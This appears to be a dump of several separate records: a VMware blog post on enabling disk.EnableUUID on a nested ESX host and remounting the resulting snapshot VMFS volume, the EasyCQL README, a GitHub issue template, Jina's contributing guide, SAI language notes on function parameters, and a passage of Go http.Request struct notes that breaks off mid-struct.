text:
---
author: karim
comments: true
date: 2012-08-20 16:39:37+00:00
layout: post
slug: enabling-disk-enableuuid-on-a-nested-esx-host-in-workstation
title: Enabling disk.EnableUUID on a Nested ESX Host in Workstation
wordpress_id: 2380
categories:
- Home Lab
- Storage
- VMware
following_users:
- jarret
- kelatov
tags:
- disk.enableuuid
- esxcfg-volume
- ForceMount VMFS
- Persistent Mount VMFS
- Resignature VMFS
- Snapshot LUN
- VMFS UUID
- VPD Pages
- vsd-mount
---

As I was writing this [blog post](http://virtuallyhyper.com/2012/08/determine-disk-vpd-information-from-esx-classic) about VPD (Vital Product Data) Pages, I ended up breaking my test ESX host for a little bit. By default virtual disks presented to a VM don't have VPD Pages and therefore don't have NAA IDs. For example here is how my disk looks like from the ESX host without any changes:

```

[root@localhost ~]# esxcfg-scsidevs -m
mpx.vmhba0:C0:T0:L0:5        /dev/sda5       502e8a75-d04a58db-431a-000c29d33d34  0  Storage1

```

In fact here are how all the devices look like:

```

[root@localhost ~]# vim-cmd /hostsvc/summary/scsilun
       Device          Type     Vendor         Model                       UUID                   Hba
mpx.vmhba0:C0:T0:L0    disk    VMware,    VMware Virtual S<PHONE_NUMBER>766d686261303a303a30     vmhba0
mpx.vmhba32:C0:T0:L0   cdrom   NECVMWar   VMware IDE CDR10<PHONE_NUMBER>766d68626133323a303a30  vmhba32

```

Any device that has an MPX identifier is a device that didn't have an NAA ID or any other Unique Identifier. More information can be seen at VMware KB [1014953](http://kb.vmware.com/kb/1014953), from that KB:

> Some devices do not provide the NAA number described above. In these circumstances, an MPX Identifier is generated by ESX to represent the LUN or disk. The identifier takes the form similar to that of the canonical name of previous versions of ESX with the mpx. prefix. This identifier can be used in the exact same way as the NAA Identifier described above.

Finally querying the device for any VPD Pages, I would see the following:

```

[root@localhost ~]# sg_vpd -p 0x80 /dev/sda
Unit serial number VPD page:
fetching VPD page failed

[root@localhost ~]# sg_vpd -p 0x83 /dev/sda
Device Identification VPD page:
fetching VPD page failed

```

When I was writing the [post](http://virtuallyhyper.com/2012/03/missing-links-to-devices-on-linux-vms-under-devdiskby-id/) about missing links under /dev/disks/by-id for linux VMs, I remember running into this. The fix is to add the following to the vmx file:

```

disk.EnableUUID = "TRUE"

```

So I went ahead and first found out where my vmx file is for my ESX VM in Workstation:

```

[elatov@klaptop ~]$ vmrun list
Total running VMs: 1
/home/elatov/.vmware/ESXU2/ESX4U2.vmx

```

Next I shutdown the VM:

```

[elatov@klaptop ~]$ vmrun stop /home/elatov/.vmware/ESXU2/ESX4U2.vmx soft

```

I then added the new setting:

```

[elatov@klaptop ~]$ echo 'disk.EnableUUID = "TRUE"' >> /home/elatov/.vmware/ESXU2/ESX4U2.vmx

```

Now let's check it's there:

```

[elatov@klaptop ~]$ grep disk /home/elatov/.vmware/ESXU2/ESX4U2.vmx
disk.EnableUUID = "TRUE"

```

That looks good, so let's go ahead and power on the VM:

```

[elatov@klaptop ~]$ vmrun start /home/elatov/.vmware/ESXU2/ESX4U2.vmx

```

Upon booting the VM I saw the following:

[![](http://virtuallyhyper.com/wp-content/uploads/2012/08/boot-issue-after-enableuuid.png)](http://virtuallyhyper.com/wp-content/uploads/2012/08/boot-issue-after-enableuuid.png)

checking out the logs, I saw the following:

```

/bin/sh: can't access tty; job control turned off
/ # tail messages.log
FILE: File_GetVMFSfsType: File_GetVMFSAttributes failed
DISNLIB-DSCPTR: DescriptorDetermineType: failed to open '/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk': Could not find the file (63)
DISKLIB-LIHK  : ''/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk'': failed to open (The system cannot find the file specified).
DISKLIB-CHAIH: ''/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk'': failed to open (The system cannot find the file specified)
DISKLIB-LIB   : Failed to open '/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk' with flags 0xa The system cannot find the file specified (25)
VSDCreateVirtualDev: Failed to open '/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk'  : The system cannot find the file specified (25).
AIOMGR-S: stat o=1 r=0 w=0 i=0 br=0 bw=0
sysboot: Failed to Mount VMDK Disk: /vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34/esxconsole-4c87dcc7-73b8-71d6-02e2-000c29d33d34/esxconsole.vmdk
sysboot: 66.vsd-mount returned a recoverable error
sysboot: Executing 'chvt 1'
/#

```

Looks like we can't load **console.vmdk** (our service console), which should be located under the vmfs volume **/vmfs/volumes/502e8a75-d04a58db-431a-000c29d33d34**. Checking to see if that file exists, I noticed that the vmfs volume wasn't even mounted:

```

/ # ls -l /vmfs/volumes
/ #

```

The reason why it wasn't mounted is because I just changed the virtual disk to have an NAA ID and this will of course make ESX see this virtual disk as a snapshot. More information on snapshots can be found in VMware KB [1011387](http://kb.vmware.com/kb/1011387)

> This issue is caused when the ESX/ESXi host can't confirm the identity of the LUN with what we expect to see in the VMFS metadata. This can be caused by replaced SAN hardware, firmware upgrades, SAN replication, DR tests, some HBA firmware upgrades or some ESX/ESXi host upgrades from 3.5 to 4.x (due to the change in naming convention from mpx to naa) have been known to cause this but this is a rare occurrence.

Basically upon formatting a vmfs volume a UUID is generated from the VPD pages and is stored in the VMFS meta data. You can check the UUID of a LUN in the following manner:

```

[root@localhost ~]# vmkfstools -Ph /vmfs/volumes/Storage1/
VMFS-3.33 file system spanning 1 partitions.
File system label (if any): Storage1
Mode: public
Capacity 8.8 GB, 1013 MB available, file block size 1 MB
UUID: 502e8a75-d04a58db-431a-000c29d33d34
Partitions spanned (on "lvm"):
	mpx.vmhba0:C0:T0:L0:5

```

Upon re-scanning a LUN, if we find the UUID doesn't match the UUID stored in the VMFS meta data we determine a device to be a snapshot.

Here are some common causes for LUNs to be seen as snapshots:

  1. The LUN presentation has been changed on the Array (e.g. SPC-2 bit set on an EMC Symmetrix Director, firmware upgrade on certain arrays).

  2. The ESX servers are defined in different initiator groups/storage groups and the presentation LUN ID is different.

  3. A LUN has been un-presented and a new LUN has been presented back with the same LUN ID but the SAN has not been scanned in the meantime.

  4. A LUN has been snapshot’ed on the array and presented back to the ESX server (a real snapshot)

Most of these are discussed in VMware KB [6482648](http://kb.vmware.com/kb/6482648).
I checked to see if my local drive is seen as a snapshot:

```

/ # esxcfg-volume -l
VMFS3 UUID/label: 502e8a75-d04a58db-431a-000c29d33d34/Storage1
Can Mount: Yes
Can resignature: Yes
Extent name: naa.6000c29e28495d0b9ecd280a8dc01a5c:5     range: 0 - 8959 (MB)

```

and that was the case. When working with snapshots there are usually three things to do:

> 1. Mount the volume without performing a resignature of that volume (this volume is unmounted when the ESX host is rebooted), run this command:

# esxcfg-volume -m

Or you can

> 2. Persistently mount the volume without performing a resignaturing of that volume (this volume is mounted when the ESX host is rebooted), run this command:

# esxcfg-volume -M

And lastly you can

> 3. Resignature the volume (the volume is mounted immediately after the resignature):

# esxcfg-volume -r

These are all take from VMware KB [1011387](http://kb.vmware.com/kb/1011387). Option 1 didn't really suit me cause I wanted my fix to be permanent, so I will discuss options 2 and 3.

### Resignature the VMFS Volume

```

/ # esxcfg-volume -r Storage1
Resignaturing volume Storage1
/ # ls -l /vmfs/volumes
drwxr-xr-t 1 root root 1120 Mar 11  2011 502f7868-f1a09a22-baa9-000c29d33d34
lrwxr-xr-x 1 root root   35 Aug 18 06:29 snap-69a82519-Storage1 -> 502f7868-f1a09a22-baa9-000c29d33d34

```

Upon resignaturing we can see that the volume is now mounted, and also has the word 'snap-xx' (**snap-69a82519-Storage1**) in front of the original Datastore name which was Storage1. Also you will notice that a new UUID is generated (**502f7868-f1a09a22-baa9-000c29d33d34 **).If you ever resignature a volume you will have to re-register your VMs that were on this volume. The reason for this is because the vmx files holds the datastore by UUID and not by datastore name. This way you can rename your Datastore and this will never impact any running or registered VMs. In our case the only VM that we had was the service console VM. So we will have to edit _/etc/vmware/esx.conf_ file to update the new UUID. First find the old UUID:

```

/ # grep console /etc/vmware/esx.conf | cut -d '=' -f 2 | cut -d '/' -f 4 | uniq
502e8a75-d04a58db-431a-000c29d33d34

```

Next find your new UUID:

```

/ # vmkfstools -Ph /vmfs/volumes/snap-69a82519-Storage1/ | grep UUID | awk '{print $2}'
502f7868-f1a09a22-baa9-000c29d33d34

```

Now let's go ahead and store those values in variables and use sed to update the _esx.conf_ file accordingly:

```

/ # old=$(grep console /etc/vmware/esx.conf | cut -d '=' -f 2 | cut -d '/' -f 4 | uniq)
/ # new=$(vmkfstools -Ph /vmfs/volumes/snap-69a82519-Storage1/ | grep UUID | awk '{print $2}')
/ # echo $old
502e8a75-d04a58db-431a-000c29d33d34
/ # echo $new
502f7868-f1a09a22-baa9-000c29d33d34

```

That looks good, now for sed and to confirm it looks good:

```

/ # sed -i ''s/$old/$new/g'' /etc/vmware/esx.conf
/ # grep console /etc/vmware/esx.conf | cut -d '=' -f 2 | cut -d '/' -f 4 | uniq
502f7868-f1a09a22-baa9-000c29d33d34
/ # vmkfstools -Ph /vmfs/volumes/snap-69a82519-Storage1/ | grep UUID | awk '{print $2}'
502f7868-f1a09a22-baa9-000c29d33d34

```

Everything looks good. Go ahead and type 'exit' and if everything is good the ESX host should continue to boot. Upon booting you can check to make sure it's mounted appropriately:

```

[root@localhost ~]# esxcfg-scsidevs -m
naa.6000c29e28495d0b9ecd280a8dc01a5c:5   /dev/sda5  502f7868-f1a09a22-baa9-000c29d33d34  0  snap-69a82519-Storage1

```

If you want to rename the datastore to the original name, you can do the following:

```

[root@localhost ~]# ln -sf `readlink -f /vmfs/volumes/snap-69a82519-Storage1` /vmfs/volumes/Storage1

```

and then make sure the name looks good:

```

[root@localhost ~]# esxcfg-scsidevs -m
naa.6000c29e28495d0b9ecd280a8dc01a5c:5   /dev/sda5  502f7868-f1a09a22-baa9-000c29d33d34  0  Storage1

```

Or you could actually persistently mount the vmfs volume without worrying about the UUID or resignaturing.

### Persistently Mount the VMFS Volume without Resignaturing

Check for the snapshot'ed LUN:

```

* nfs                                                   [ ok ]
* cos-snapshot                                          [ ok ]
* vsd-Mount                                             [ !!  ]

You have entered the recovery shell.The situation you are in May
be recoverable.  If you are able to fix this situation the boot
process will continue normally after you exit this terminal
/bin/sh: can't access tty; job control turned off
/ # esxcfg-volume -l
VMFS3 UUID/label: 502e8a75-d04a58db-431a-000c29d33d34/Storage1
Can mount: Yes
Can resignature: Yes
Extent name: naa.6000c29e28495d0b9ecd280a8dc01a5c:5    range: 0 - 8959 (MB)

```

Then go ahead and forcefully mount it and make it persistent across reboots:

```

/ # ls -l /vmfs/volumes
/ # esxcfg-volume -M Storage1
Persistently Mounting volume Storage1
/ # ls -l /vmfs/volumes
drwxr-xr-t 1 root root 1120 Mar 11  2011 502e8a75-d04a58db-431a-000c29d33d34
lrwxr-xr-x 1 root root   35 Aug 18 07:05 Storage1 -> 502e8a75-d04a58db-431a-000c29d33d34

```

Notice the UUID (**502e8a75-d04a58db-431a-000c29d33d34**) didn't change and the datastore name (**Storage1**) didn't change either. Then go ahead and type in 'exit' and it will continue to boot. Then you can check that it's still mounted:

```

[root@localhost ~]# esxcfg-scsidevs -m
naa.6000c29e28495d0b9ecd280a8dc01a5c:5     /dev/sda5    502e8a75-d04a58db-431a-000c29d33d34  0  Storage1

```

Whenever you forcefully mount a VMFS volume the following settings are added to the _/etc/vmware/esx.conf_ file:

```

[root@localhost ~]# grep forceMountedLvm /etc/vmware/esx.conf
/fs/vmfs[502e8a75-d04a58db-431a-000c29d33d34]/forceMountedLvm/forceMount = "true"
/fs/vmfs[502e8a75-d04a58db-431a-000c29d33d34]/forceMountedLvm/lvmName = "snap-53c719bd-4c87ae60-9c9b2d60-413f-000c29d33d34"
/fs/vmfs[502e8a75-d04a58db-431a-000c29d33d34]/forceMountedLvm/readOnly = "false"

```

This is usually not recommended because if you actually present a snapshot of this disk, it will go ahead and forcefully mount which is probably not the desired affect. So please use the persistent mount option with care. As a side note VMware KB [1012142](http://kb.vmware.com/kb/1012142) talks about similar fixes as above, but their steps are a little different.


text:
# EasyCQL

EasyCQL provides a fast way to unmarshal CQL user defined types without the use of reflection.
It generates a `UnmarshalCQL` or `MarshalCQL` methods for types.

## Usage

```
# install
go get -u github.com/kiwicom/easycql/...

# run
easycql -all <file>.go
```

This will generate marshaler and unmarshaler implementations for all structs in the given file.

If you want to generate code for some types only, you can annotate the types with `easycql:cql` on a separate
line of the comment:

```go
// MyStruct will have the code generated.
// easycql:cql
type MyStruct struct {
    Value int
}

// AnotherStruct won't have the code generated (unless you use -all)
type AnotherStruct struct {
    Value string
}
```

Please note that easycql requires a full Go build environment and the GOPATH environment variable
to be set. This is because easyjson code generation invokes go run on a temporary file
(an approach to code generation borrowed from easyjson, which borrowed it from ffjson).

## Modes of operation

easycql currently has two modes of operation:

* conservative mode generates code similar to what you'd get by implementing simple
  `UnmarshalUDT`/`MarshalUDT` implementations, falling back to gocql for (un)marshaling each
  field. Conservative mode can be invoked by using `-conservative` flag.
* optimized mode (the default) generates code based on the actual Go and gocql types of the fields.

## Compatibility with gocql

easycql aims for the generated code to be compatible with gocql behavior so that the generated
code can be seamlessly plugged into existing software projects.

## easycql struct tags

easycql supports struct tags on fields to guide it's behavior.

The value of `easycql` tag is a comma separated list, the first item is a cql field name:

```go
type MyStruct struct {
    MyField string `easycql:"my_field"`
}
```

When the first item is `-`, the field is ignored when marshaling/unmarshaling:

```go
type MyStruct struct {
    MyField string
    OmittedField string `easycql:"-"`
}
```

If you want to specify other items, but not the cql name, you can leave the name empty:

```go
type MyStruct struct {
    MyField string `easycql:",ascii"`
}
```

### Annotating the CQL type

While easycql knows the static type of fields in Go structs, it does not know which CQL type
will be used with that Go field most often. Knowing the cql type of a field allows easycql to
put the generated code for that type in the hot code path.

By default easycql assumes the cql type based on Go type as in the following table:

| Go type | CQL type |
| --- | --- |
| string | varchar |
| int | int |
| int8 | tinyint |
| int16 | smallint |
| int32 | int |
| int64| bigint |
| uint | int |
| uint8 | tinyint |
| uint16 | smallint |
| uint32 | int |
| uint64 | bigint |
| bool | boolean |
| float32 | float |
| float64 | double |

If the type stored in the database does not match the one gocql assumes by default, you can add
the type in the easycql tag of the struct field. The following tags could be used:

`ascii`, `bigint`, `blob`, `boolean`, `counter`, `decimal`, `double`, `float`, `int`, `text`,
`timestamp`, `uuid`, `varchar`, `timeuuid`, `inet`, `date`, `duration`, `time`, `smallint`,
`tinyint`, `list`, `map`, `set`, `varint`, `tuple`

For example:

```go
type MyStruct struct {
    MyField string `easycql:"my_field,ascii"`
    MyInt int64 `easycql:"my_int,varint"`
}
```

## Issues, Notes, Limitations

* At the moment, optimized mode is available only for unmarshaling. Marshaling generates the same
  code in both conservative and optimized modes. Not all combinations of Go and cql types have
  generators for optimized code yet. When generator for optimized mode is not available the generated
  code will contain a fallback to `gocql.Unmarshal`.

* Tests for some implemented combinations of Go vs. cql types in optimized mode are missing at the moment.
  If you want to be extra safe, use conservative mode.

* easycql parser and codegen is based on reflection, so it wont work on package `main` and test files, because they
  cant be imported by the parser.

## Benchmarks

We have a benchmark for unmarshaling a large struct with different types that can be run with
`make bench`.
However this is a synthetic benchmark and your mileage may vary depending on the schema of your data.

When unmarshaling, conservative mode is roughly 4 times faster than using plain `gocql.Unmarshal` and optimized mode
is roughly 2 times faster than conservative mode according to our benchmark:

```
---- plain gocql ----
goos: linux
goarch: amd64
pkg: github.com/kiwicom/easycql/tests
BenchmarkUnmarshal-8      191496              6343 ns/op
BenchmarkMarshal-8        202076              5839 ns/op
PASS
ok      github.com/kiwicom/easycql/tests        3.517s

---- easycql conservative ----
goos: linux
goarch: amd64
pkg: github.com/kiwicom/easycql/tests
BenchmarkUnmarshal-8      809300              1474 ns/op
BenchmarkMarshal-8        413431              2702 ns/op
PASS
ok      github.com/kiwicom/easycql/tests        3.303s

---- easycql optimized ----
goos: linux
goarch: amd64
pkg: github.com/kiwicom/easycql/tests
BenchmarkUnmarshal-8     1915501               616 ns/op
BenchmarkMarshal-8        419199              2741 ns/op
PASS
ok      github.com/kiwicom/easycql/tests        3.006s

---- comparison ----

plain gocql vs easycql conservative:
benchmark                old ns/op     new ns/op     delta
BenchmarkUnmarshal-8     6343          1474          -76.76%
BenchmarkMarshal-8       5839          2702          -53.72%

plain gocql vs easycql optimized:
benchmark                old ns/op     new ns/op     delta
BenchmarkUnmarshal-8     6343          616           -90.29%
BenchmarkMarshal-8       5839          2741          -53.06%

easycql conservative vs easycql optimized:
benchmark                old ns/op     new ns/op     delta
BenchmarkUnmarshal-8     1474          616           -58.21%
BenchmarkMarshal-8       2702          2741          +1.44%
```

repository: kiwicom/easycql

branch_name: refs/heads/master

extension: md

gha_language: Go

gha_license_id: NOASSERTION

license_type: permissive

repo_name: kiwicom/easycql


text:
## Type of Change
<!-- New Feature / Enhancement / Bug / Other -->

## Summary
<!-- Brief summary of the issue like steps to reproduce for a bug, or motivation and API design if proposing a new feature. -->

## Details
<!--
Include relevant code samples, example snippets, benefits, complexity, etc.  For feature requests, please make sure to provide an actionable outcome.  If you're unsure what qualifies, please consider starting a Discussion first, we can always transfer it later :).

For bug reports, please include your configuration file and a sample of your workspace with the minimum amount of code needed to reproduce.  For alternative debugging approaches, you can use our test cases as a format to follow for reproducing bugs.
-->

license: MIT

repository: ProjectEvergreen/greenwood

gha_language: JavaScript

gha_license_id: MIT

repo_name: ProjectEvergreen/greenwood


text:
> The best way to know more about contributing and how to get started is to **[join us on Discord](https://discord.jina.ai)** and ask questions in our public channels.

# Contributing to Jina

Thanks for your interest in contributing to Jina. We're grateful for your initiative! ❤

In this guide, we're going to go through the steps for each kind of contribution, and good and bad examples of what to do. We look forward to your contributions!

- [🐞 Bugs and Issues](#-bugs-and-issues)
- [🥇 Making Your First Submission](#-making-your-first-submission)
- [☑ Naming Conventions](#-naming-conventions)
- [💥 Testing Jina Locally and on CI](#-testing-jina-locally-and-on-ci)
- [📖 Contributing Documentation](#-contributing-documentation)
- [🙏 Thank You](#-thank-you)

## 🐞 Bugs and Issues

### Submitting Issues

We love to get issue reports. But we love it even more if they're in the right format. For any bugs you encounter, we need you to:

* **Describe your problem**: What exactly is the bug. Be as clear and concise as possible
* **Why do you think it's happening?** If you have any insight, here's where to share it

There are also a couple of nice to haves:

* **Environment:** You can find this with ``jina -vf``
* **Screenshots:** If they're relevant

## 🥇 Making Your First Submission

0. Associate your local git config with your GitHub account. If this is your first time using git you can follow [the steps](#associate-with-github-account).
1. Fork the Jina repo and clone onto your computer.
1. Configure git pre-commit hooks. Please follow [the steps](#install-pre-commit-hooks)
1. Create a [new branch](#naming-your-branch), for example `fix-jina-typo-1`.
1. Work on this branch to do the fix/improvement.
1. Check if your code changes follow the [code review guidelines](.github/CODE_REVIEW_GUIDELINES.md).
1. Commit the changes with the [correct commit style](#writing-your-commit-message).
1. Make a pull request.
1. Submit your pull request and wait for all checks to pass.
1. Request reviews from one of [the code owners](.github/CODEOWNERS).
1. Get a LGTM 👍 and PR gets merged.

**Note:** If you're just fixing a typo or grammatical issue, you can go straight to a pull request.

### Associate with GitHub Account

- Confirm username and email on [your profile page](https://github.com/settings/profile).
- Set git config on your computer.

```shell
git config user.name "YOUR GITHUB NAME"
git config user.email "YOUR GITHUB EMAIL"
```

- (Optional) Reset the commit author if you made commits before you set the git config.

```shell
git checkout YOUR-WORKED-BRANCH
git commit --amend --author="YOUR-GITHUB-NAME <YOUR-GITHUB-EMAIL>" --no-edit
git log  # to confirm the change is effective
git push --force
```

What happens after the merge? [Understand the development stage and release cycles here.](RELEASE.md)

### Install pre-commit hooks

In Jina we use git's pre-commit hooks in order to make sure the code matches our standards of quality and documentation. At the moment we employ them for checking the style and the docstrings of the code. Documentation of code is crucial to maintaining productive developers and clear communication with new users. We also want to reduce all arguments about code styling.

It's easy to configure it:

1. `pip install pre-commit`
1. `pre-commit install`

Now you will be automatically reminded to add docstrings to your code. `black` will take care that your code will match our style.

For more about our docstring style, refer to [this guide](./.github/DOCSTRINGS.rst).

#### Restoring correct git blame

Run `git config blame.ignoreRevsFile .github/.git-blame-ignore-revs`

## ☑ Naming Conventions

For branches, commits, and PRs we follow some basic naming conventions:

* Be descriptive
* Use all lower-case
* Limit punctuation
* Include one of our specified [types](#specify-the-correct-types)
* Short (under 70 characters is best)
* In general, follow the [Conventional Commit](https://www.conventionalcommits.org/en/v1.0.0/#summary) guidelines

Note: If you don't follow naming conventions, your commit will be automatically flagged to be fixed.

### Specify the correct types

Type is an important prefix in PR, commit message. For each branch, commit, or PR, we need you to specify the type to help us keep things organized. For example,

```
feat: add hat wobble
^--^  ^------------^
|     |
|     +-> Summary in present tense.
|
+-------> Type: build, ci, chore, docs, feat, fix, refactor, style, or test.
```

- build: Changes that affect the build system or external dependencies (example scopes: gulp, broccoli, npm)
- ci: Changes to our CI configuration files and scripts (example scopes: Travis, Circle, BrowserStack, SauceLabs)
- docs: Documentation only changes
- feat: A new feature
- fix: A bug fix
- perf: A code change that improves performance
- refactor: A code change that neither fixes a bug nor adds a feature
- style: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc.)
- test: Adding missing tests or correcting existing tests
- chore: updating grunt tasks etc; no production code change

### Naming your Branch

Your branch name should follow the format `type-scope(-issue_id)`:

* `type` is one of the [types above](#specify-the-correct-types)
* `scope` is optional, and represents the module your branch is working on.
* `issue_id` is [the GitHub issue](https://github.com/jina-ai/jina/issues) number. Having the correct issue number will automatically link the Pull Request on this branch to that issue.

> Good examples:
>
```text
fix-executor-loader-113
chore-update-version
docs-add-cloud-section-33
```

> Bad examples:
>

| Branch name     | Feedback                                              |
| ---             | ---                                                   |
| `FIXAWESOME123` | Not descriptive enough, all caps, doesn't follow spec |
| `NEW-test-1`    | Should be lower case, not descriptive                 |
| `mybranch-1`    | No type, not descriptive                              |

### Writing your Commit Message

A good commit message helps us track Jina's development. A Pull Request with a bad commit message will be *rejected* automatically in the CI pipeline.

Commit messages should stick to our [naming conventions](#-naming-conventions) outlined above, and use the format `type(scope?): subject`:

* `type` is one of the [types above](#specify-the-correct-types).
* `scope` is optional, and represents the module your commit is working on.
* `subject` explains the commit, without an ending period`.`

For example, a commit that fixes a bug in the executor module should be phrased as: `fix(executor): fix the bad naming in init function`

> Good examples:
>
```text
fix(indexer): fix wrong sharding number in indexer
feat: add remote api
```

> Bad examples:
>

| Commit message                                                                                | Feedback                           |
| ---                                                                                | ---                                |
| `doc(101): improved 101 document`                                                             | Should be `docs(101)`              |
| `tests(flow): add unit test for flow exception`                                               | Should be `test(flow)`             |
| `DOC(101): Improved 101 Documentation`                                                        | All letters should be in lowercase |
| `fix(pea): i fix this pea and this looks really awesome and everything should be working now` | Too long                           |
| `fix(pea):fix network receive of the pea`                                                     | Missing space after `:`            |
| `hello: add hello-world`                                                                      | Type `hello` is not allowed          |

#### What if I Mess Up?

We all make mistakes. GitHub has a guide on [rewriting commit messages](https://docs.github.com/en/free-pro-team@latest/github/committing-changes-to-your-project/changing-a-commit-message) so they can adhere to our standards.

You can also install [commitlint](https://commitlint.js.org/#/) onto your own machine and check your commit message by running:

```bash
echo "<commit message>" | commitlint
```

### Naming your Pull Request

We don't enforce naming of PRs and branches, but we recommend you follow the same style. It can simply be one of your commit messages, just copy/paste it, e.g. `fix(readme): improve the readability and move sections`.

## 💥 Testing Jina Locally and on CI

You need to build a local docker image tagged 'jinaai/jina:test-pip' for all the tests to run as in the CI, via:

```bash
docker build --build-arg PIP_TAG="[devel]" -f ${PATH_TO_JINA}/Dockerfiles/pip.Dockerfile -t jinaai/jina:test-pip ${PATH_TO_JINA}
```

Locally you can do unittest via:

```bash
pip install ".[test]"
pytest -v -s --ignore-glob='tests/integration/hub_usage/dummyhub*' tests
```

Tips: If you want to run the k8s tests then you should install [linkerd cli](https://linkerd.io/2.11/getting-started/#step-1-install-the-cli) before.

When you add an executor or a driver, you may introduce new dependencies to Jina. You can verify the dependencies via:

```bash
jina check
```
, and via Docker container:

```bash
docker run jinaai/jina:my-local-version check
```

It prints a list of components the current version of Jina supports, and then exits. Make sure yours are not in red.

Once you submit the PR, your code will be tested in the environment of Python 3.7 and 3.8 with [full extra dependencies](extra-requirements.txt) (`pip install .[all]`) installed.

## 📖 Contributing Documentation

Good docs make developers happy, and we love happy developers! We've got a few different types of docs:

* General documentation
* Tutorials/examples
* Docstrings in Python functions in RST format - generated by Sphinx

### Documentation guidelines

1. Decide if your page is a **guide or a tutorial**. Make sure it fits its section.
2. Use “**you**” instead of “we” or “I”. It **engages** the reader more.
3. **Sentence case** for headers. (Use [https://convertcase.net/](https://convertcase.net/) to check)
4. Keep sentences short. If possible, **fewer than 13 words**.
5. Only use `backticks` for direct references to code elements.
6. Jina product names should be capitalized and not backticked (Flow, Executor, Hub etc.).
7. All **acronyms** should be UPPERCASE (Ex. YAML, JSON, HTTP, SSL).
8. Think about the **structure** of the page beforehand. Split it into headers before writing the content.
9. If relevant, include a “**See also**” section at the end.
10. Link to any existing explanations of the concepts you are using.

Bonus: **Know when to break the rules**. Documentation writing is as much art as it is science. Sometimes you will have to deviate from these rules in order to write good documentation.

[MyST](https://myst-parser.readthedocs.io/en/latest/) Elements Usage

1. Use the `{tab}` element to show multiple ways of doing one thing. [Example](https://docs.jina.ai/concepts/flow/basics/#start-and-stop)
2. Use the `{admonition}` boxes with care. We recommend restricting yourself to [Hint](https://docs.jina.ai/concepts/flow/basics/#create), [Caution](https://docs.jina.ai/concepts/gateway/customize-http-endpoints/#enable-graphql-endpoint) and [See Also](https://docs.jina.ai/concepts/gateway/customize-http-endpoints/#enable-graphql-endpoint).
3. Use `{dropdown}` to hide optional content, such as long code snippets or console output. [Example](https://docs.jina.ai/concepts/client/third-party-clients/#use-curl)

### Building documentation on your local machine

#### Requirements

* Python 3
* [jq](https://stedolan.github.io/jq/download/)

#### Steps to build locally

```bash
cd docs
pip install -r requirements.txt
export NUM_RELEASES=10
bash makedoc.sh local-only
```

Docs website will be generated in `_build/dirhtml`
To serve it, run

```bash
cd _build/dirhtml
python -m http.server
```

You can now see docs website on [http://localhost:8000](http://localhost:8000) on your browser.

## 🙏 Thank You

Once again, thanks so much for your interest in contributing to Jina. We're excited to see your contributions!

repository: jina-ai/jina

gha_language: Python

repo_name: jina-ai/jina


text:
## Function Parameters

There are two schools of thought on passing function parameters.

The first you are probably more familiar with, where parameters must all be included in order. This is the standard approach in Javascript. The second is passing parameters by name. This is less familiar.

There are advantages to both methods, and disadvantages. You may choose to create functions that operate either way, but you must always call them consistently -- a function with named parameters can't be called without naming the parameters.

#### Parameters by Order

    // define a function

    set ByOrder task given first, second, third
      debug first + second + third

    // call it

    ByOrder "a", "b", "c"

    // results
    > abc

In Javascript, this looks like the following:

    var ByOrder = function(first, second, third) {
      console.log(first+second+third);
    }

    ByOrder("a","b","c");

    > abc

#### Parameters by Name

    // define a function

    set ByName task
      debug $first + $second + $third

    // call it
    // note the colon after the verb

    ByName: first 'a', second 'b', third 'c'

    > abc

In Javascript:

    var ByName = function(p) {
      console.log(p.first+p.second+p.third);
    }

    ByName({first:'a', second:'b', third:'c'});

    > abc

### What's happening?

When you call a function passing parameters by name, you're passing in an object with those parameters as attributes.  Looking closely at the parameter-by-name invocation, the colon signals the beginning of a structure definition.

On the other side, in a function called with named parameters, the __$__ scoping prefix means look up the named attribute in the first parameter passed in on the function call.

### What's the point?

Passing a single object, with named attributes, instead of a sequence of values, gives you different ways of approaching code design.

In particular, because named parameters are passed as an object, that object can be re-used from call to call. As well, attributes in that object can be changed, or return values set givenparameters within the object.

#### Parameter/Object re-use

    set parameters: first 'a', second 'b', third 'c'
    ByName parameters

    > abc

    set parameters.third d
    ByName parameters

    > abd

repository: seanmpuckett/sai

repo_name: seanmpuckett/sai


text:
## HTTP Request and Response

### struct

Request & Response

```
type Request struct {
	// 请求方法，空代表默认的 `Get`
	Method string

	// 请求地址，client request 中如果 URL 指定了 host 便会忽略 header 中的 host
	URL *url.URL

	// http 版本
	ProtoMajor int    // 1
	ProtoMinor int    // 0

	// Host: example.com
	// accept-encoding: gzip, deflate
	// Accept-Language: en-us
	// fOO: Bar
	// foo: two
	//
	// ↓↓↓
	//
	// Header = map[string][]string{
	//   "Accept-Encoding": {"gzip, deflate"},
	//   "Accept-Language": {"en-us"},
	//   "Foo": {"Bar", "two"},
	// }
	//
	// host 头域会转到 request.Host 中，不会加入 Header 集合
	// 大小写不敏感
	Header Header

	// Body is the request's body.
	//
	// For client requests a nil body means the request has no
	// body, such as a GET request. The HTTP Client's Transport
	// is responsible for calling the Close method.
	//
	// For server requests the Request Body is always non-nil
	// but will return EOF immediately when no body is present.
	// The Server will close the request body. The ServeHTTP
	// Handler does not need to.
	Body io.ReadCloser

	// GetBody defines an optional func to return a new copy of
	// Body. It is used for client requests when a redirect requires
	// reading the body more than once. Use of GetBody still
	// requires setting Body.
	//
	// For server requests it is unused.
	GetBody func() (io.ReadCloser, error)

	// ContentLength records the length of the associated content.
	// The value -1 indicates that the length is unknown.
	// Values >= 0 indicate that the given number of bytes may
	// be read from Body.
	// For client requests, a value of 0 with a non-nil Body is
	// also treated as unknown.
	ContentLength int64

	// TransferEncoding lists the transfer encodings from outermost to
	// innermost. An empty list denotes the "identity" encoding.
	// TransferEncoding can usually be ignored; chunked encoding is
	// automatically added and removed as necessary when sending and
	// receiving requests.
